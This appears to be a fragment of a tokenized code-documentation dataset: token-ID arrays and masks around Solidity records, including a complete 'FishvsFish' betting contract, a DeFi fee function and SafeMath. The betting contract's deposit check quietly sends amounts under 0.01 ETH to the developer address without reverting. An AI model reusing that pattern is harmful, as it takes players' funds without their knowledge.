0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
14467,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xeB40E25AF8F5F22Bb201f53971480beA0094Cd65/sources/src/v0.8/functions/dev/1_0_0/FunctionsRouter.sol
|
@dev Used within FunctionsSubscriptions.sol
|
function _whenNotPaused() internal view override {
_requireNotPaused();
}
| 4,322,566 |
[
1,
6668,
3470,
15486,
15440,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
13723,
1248,
28590,
1435,
2713,
1476,
3849,
288,
203,
565,
389,
6528,
1248,
28590,
5621,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/*
*
* FishvsFish Game
* A competitive Fish game on Ethereum platform
*
*/
contract vsgame {
using SafeMath for uint256;
/*------------------------------
CONFIGURABLES
------------------------------*/
string public name = "FishvsFish Game";
string public symbol = "FvF";
uint256 public minFee;
uint256 public maxFee;
uint256 public jackpotDistribution;
uint256 public refComm;
uint256 public durationRound;
uint256 public devFeeRef;
uint256 public devFee;
bool public activated = false;
address public developerAddr;
/*------------------------------
DATASETS
------------------------------*/
uint256 public rId;
mapping (address => Indatasets.Player) public player;
mapping (uint256 => Indatasets.Round) public round;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerAmountDeposit;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerAmountDepositReal;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerRoundAmount;
/*------------------------------
PUBLIC FUNCTIONS
------------------------------*/
constructor()
public
{
developerAddr = msg.sender;
}
/*------------------------------
MODIFIERS
------------------------------*/
modifier senderVerify() {
require (msg.sender == tx.origin);
_;
}
modifier amountVerify() {
if(msg.value < 10000000000000000){
developerAddr.transfer(msg.value);
}else{
require(msg.value >= 10000000000000000);
_;
}
}
modifier playerVerify() {
require(player[msg.sender].active == true, "Player isn't active.");
_;
}
modifier isActivated() {
require(activated == true, "Contract hasn't been activated yet.");
_;
}
/**
* Activation of contract with settings
*/
function activate()
public
{
require(msg.sender == developerAddr);
require(activated == false, "Contract already activated");
minFee = 5;
maxFee = 50;
jackpotDistribution = 70;
refComm = 25;
durationRound = 43200;
rId = 1;
activated = true;
devFeeRef = 100;
devFeeRef = devFeeRef.sub(jackpotDistribution).sub(refComm);
devFee = 100;
devFee = devFee.sub(jackpotDistribution);
// Initialise first round
round[rId].start = now;
round[rId].end = now.add(172800);
round[rId].ended = false;
round[rId].winner = 0;
}
/**
* Invest into red or green fish
*/
function invest(uint256 _side)
isActivated()
amountVerify()
senderVerify()
public
payable
{
uint256 _feeUser = 0;
if(_side == 1 || _side == 2){
if(now < round[rId].end){
_feeUser = buyFish(_side);
round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100));
} else if(now >= round[rId].end){
startRound();
_feeUser = buyFish(_side);
round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100));
}
} else {
msg.sender.transfer(msg.value);
}
}
/**
* Invest into red or green fish
*/
function invest(uint256 _side, address _refer)
isActivated()
amountVerify()
senderVerify()
public
payable
{
uint256 _feeUser = 0;
if(_side == 1 || _side == 2){
if(now < round[rId].end){
_feeUser = buyFish(_side);
processRef(_feeUser, _refer);
} else if(now >= round[rId].end){
startRound();
_feeUser = buyFish(_side);
processRef(_feeUser, _refer);
}
} else {
msg.sender.transfer(msg.value);
}
}
/**
* Buy into Fish
*/
function buyFish(uint256 _side)
private
returns (uint256)
{
uint256 _rId = rId;
uint256 _amount = msg.value;
if(player[msg.sender].active == false){
player[msg.sender].active = true;
player[msg.sender].withdrawRid = _rId;
}
uint256 _feeUser = (_amount.mul(getRoundFee())).div(1000000);
uint256 _depositUser = _amount.sub(_feeUser);
playerAmountDeposit[_rId][_side][msg.sender] = playerAmountDeposit[_rId][_side][msg.sender].add(_depositUser);
playerAmountDepositReal[_rId][_side][msg.sender] = playerAmountDepositReal[_rId][_side][msg.sender].add(_amount);
if(_side == 1){
round[_rId].amount1 = round[_rId].amount1.add(_depositUser);
if(playerRoundAmount[_rId][1][msg.sender] == 0){
playerRoundAmount[_rId][1][msg.sender]++;
round[_rId].players1++;
}
} else if(_side == 2){
round[_rId].amount2 = round[_rId].amount2.add(_depositUser);
if(playerRoundAmount[_rId][2][msg.sender] == 0){
playerRoundAmount[_rId][2][msg.sender]++;
round[_rId].players2++;
}
}
// jackpot distribution
round[_rId+1].jackpotAmount = round[_rId+1].jackpotAmount.add((_feeUser.mul(jackpotDistribution)).div(100));
return _feeUser;
}
/**
* Referral Fee and Dev Fee Process
*/
function processRef(uint256 _feeUser, address _refer)
private
{
if(_refer != 0x0000000000000000000000000000000000000000 && _refer != msg.sender && player[_refer].active == true){ // referral
player[_refer].refBalance = player[_refer].refBalance.add((_feeUser.mul(refComm)).div(100));
round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFeeRef)).div(100));
} else {
round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100));
}
}
/**
* End current round and start a new one
*/
function startRound()
private
{
if(round[rId].amount1 > round[rId].amount2){
round[rId].winner = 1;
} else if(round[rId].amount1 < round[rId].amount2){
round[rId].winner = 2;
} else if(round[rId].amount1 == round[rId].amount2){
round[rId].winner = 3;
}
developerAddr.transfer(round[rId].devFee);
round[rId].ended = true;
rId++;
round[rId].start = now;
round[rId].end = now.add(durationRound);
round[rId].ended = false;
round[rId].winner = 0;
}
/**
* Get player's balance
*/
function getPlayerBalance(address _player)
public
view
returns(uint256)
{
uint256 userWithdrawRId = player[_player].withdrawRid;
uint256 potAmount = 0;
uint256 userSharePercent = 0;
uint256 userSharePot = 0;
uint256 userDeposit = 0;
uint256 userBalance = 0;
for(uint256 i = userWithdrawRId; i < rId; i++){
if(round[i].ended == true){
potAmount = round[i].amount1.add(round[i].amount2).add(round[i].jackpotAmount);
if(round[i].winner == 1 && playerAmountDeposit[i][1][_player] > 0){
userSharePercent = playerAmountDeposit[i][1][_player].mul(1000000).div(round[i].amount1);
} else if(round[i].winner == 2 && playerAmountDeposit[i][2][_player] > 0){
userSharePercent = playerAmountDeposit[i][2][_player].mul(1000000).div(round[i].amount2);
} else if(round[i].winner == 3){
if(playerAmountDeposit[i][1][_player] > 0 || playerAmountDeposit[i][2][_player] > 0){
userDeposit = playerAmountDeposit[i][1][_player].add(playerAmountDeposit[i][2][_player]);
userBalance = userBalance.add(userDeposit);
}
}
if(round[i].winner == 1 || round[i].winner == 2){
userSharePot = potAmount.mul(userSharePercent).div(1000000);
userBalance = userBalance.add(userSharePot);
userSharePercent = 0;
}
}
}
return userBalance;
}
/*
* Return the ref. balance
*/
function getRefBalance(address _player)
public
view
returns (uint256)
{
return player[_player].refBalance;
}
/*
* Allows the user to withdraw the funds from the unclaimed rounds and the referral commission.
*/
function withdraw()
senderVerify()
playerVerify()
public
{
require(getRefBalance(msg.sender) > 0 || getPlayerBalance(msg.sender) > 0);
address playerAddress = msg.sender;
uint256 withdrawAmount = 0;
if(getRefBalance(playerAddress) > 0){
withdrawAmount = withdrawAmount.add(getRefBalance(playerAddress));
player[playerAddress].refBalance = 0;
}
if(getPlayerBalance(playerAddress) > 0){
withdrawAmount = withdrawAmount.add(getPlayerBalance(playerAddress));
player[playerAddress].withdrawRid = rId;
}
playerAddress.transfer(withdrawAmount);
}
/*
* Returns the following datas of the user: active, balance, refBalance, withdrawRId
*/
function getPlayerInfo(address _player)
public
view
returns (bool, uint256, uint256, uint256)
{
return (player[_player].active, getPlayerBalance(_player), player[_player].refBalance, player[_player].withdrawRid);
}
/*
* Get Round Info
*/
function getRoundInfo(uint256 _rId)
public
view
returns (uint256, uint256, bool, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 roundNum = _rId;
return (round[roundNum].start, round[roundNum].end, round[roundNum].ended, round[roundNum].amount1, round[roundNum].amount2, round[roundNum].players1, round[roundNum].players2, round[roundNum].jackpotAmount, round[roundNum].devFee, round[roundNum].winner);
}
/*
* get users deposit with deducted fees of a specific round a team
*/
function getUserDeposit(uint256 _rId, uint256 _side, address _player)
public
view
returns (uint256)
{
return playerAmountDeposit[_rId][_side][_player];
}
/*
* get users deposit without deducted fees of a specific round a team
*/
function getUserDepositReal(uint256 _rId, uint256 _side, address _player)
public
view
returns (uint256)
{
return playerAmountDepositReal[_rId][_side][_player];
}
/**
* Get current round fee
*/
function getRoundFee()
public
view
returns (uint256)
{
uint256 roundStart = round[rId].start;
uint256 _durationRound = 0;
if(rId == 1){
_durationRound = 172800;
} else {
_durationRound = durationRound;
}
uint256 remainingTimeInv = now - roundStart;
uint256 percentTime = (remainingTimeInv * 10000) / _durationRound;
uint256 feeRound = ((maxFee - minFee) * percentTime) + (minFee * 10000);
return feeRound;
}
}
library Indatasets {
struct Player {
bool active; // has user already interacted
uint256 refBalance; // balance of ref. commission
uint256 withdrawRid; // time of the prev. withdraw
}
struct Round {
uint256 start; // time round started
uint256 end; // time round ends/ended
bool ended; // has round end function been ran
uint256 amount1; // Eth received for current round for dog
uint256 amount2; // Eth received for current round for cat
uint256 players1; // total players for dog
uint256 players2; // total players for cat
uint256 jackpotAmount; // total jackpot for current round
uint256 devFee; // collected fees for the dev
uint256 winner; // winner of the round
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
time of the prev. withdraw
|
uint256 withdrawRid;
| 12,700,929 |
[
1,
957,
434,
326,
2807,
18,
598,
9446,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
202,
11890,
5034,
598,
9446,
54,
350,
31,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0xbfBC24bcCa99eE7a332495fE203a06b759849746/sources/StrategyVenusv2.sol
|
* @dev Takes out 4.5% as system fees from the rewards. 0.5% -> Call Fee 1.5% -> Treasury fee 4% -> JETS Holders/
|
function _chargeFees() internal {
uint256 toWbnb =
IERC20(venus).balanceOf(address(this)).mul(6).div(100);
IUniswapRouter(unirouter).swapExactTokensForTokens(
toWbnb,
0,
venusToWbnbRoute,
address(this),
now.add(600)
);
uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this));
uint256 callFee = wbnbBal.mul(CALL_FEE).div(MAX_FEE);
IERC20(wbnb).safeTransfer(msg.sender, callFee);
uint256 treasuryFee = wbnbBal.mul(TREASURY_FEE).div(MAX_FEE);
IERC20(wbnb).safeTransfer(treasury, treasuryFee);
uint256 rewardsFee = wbnbBal.mul(REWARDS_FEE).div(MAX_FEE);
IUniswapRouter(unirouter).swapExactTokensForTokens(
rewardsFee,
0,
wbnbToFuelRoute,
rewards,
now.add(600)
);
}
| 11,149,786 |
[
1,
11524,
596,
1059,
18,
25,
9,
487,
2619,
1656,
281,
628,
326,
283,
6397,
18,
374,
18,
25,
9,
317,
3049,
30174,
404,
18,
25,
9,
317,
399,
266,
345,
22498,
14036,
1059,
9,
317,
804,
1584,
55,
670,
4665,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
16385,
2954,
281,
1435,
2713,
288,
203,
3639,
2254,
5034,
358,
59,
70,
6423,
273,
203,
5411,
467,
654,
39,
3462,
12,
3995,
407,
2934,
12296,
951,
12,
2867,
12,
2211,
13,
2934,
16411,
12,
26,
2934,
2892,
12,
6625,
1769,
203,
3639,
467,
984,
291,
91,
438,
8259,
12,
318,
77,
10717,
2934,
22270,
14332,
5157,
1290,
5157,
12,
203,
5411,
358,
59,
70,
6423,
16,
203,
5411,
374,
16,
203,
5411,
331,
11797,
774,
59,
70,
6423,
3255,
16,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
2037,
18,
1289,
12,
28133,
13,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
17298,
6423,
38,
287,
273,
467,
654,
39,
3462,
12,
9464,
6423,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
2254,
5034,
745,
14667,
273,
17298,
6423,
38,
287,
18,
16411,
12,
13730,
67,
8090,
41,
2934,
2892,
12,
6694,
67,
8090,
41,
1769,
203,
3639,
467,
654,
39,
3462,
12,
9464,
6423,
2934,
4626,
5912,
12,
3576,
18,
15330,
16,
745,
14667,
1769,
203,
203,
3639,
2254,
5034,
9787,
345,
22498,
14667,
273,
17298,
6423,
38,
287,
18,
16411,
12,
56,
862,
3033,
1099,
61,
67,
8090,
41,
2934,
2892,
12,
6694,
67,
8090,
41,
1769,
203,
3639,
467,
654,
39,
3462,
12,
9464,
6423,
2934,
4626,
5912,
12,
27427,
345,
22498,
16,
9787,
345,
22498,
14667,
1769,
203,
203,
3639,
2254,
5034,
283,
6397,
14667,
273,
17298,
6423,
38,
287,
18,
16411,
12,
862,
16777,
3948,
67,
8090,
41,
2934,
2892,
12,
6694,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
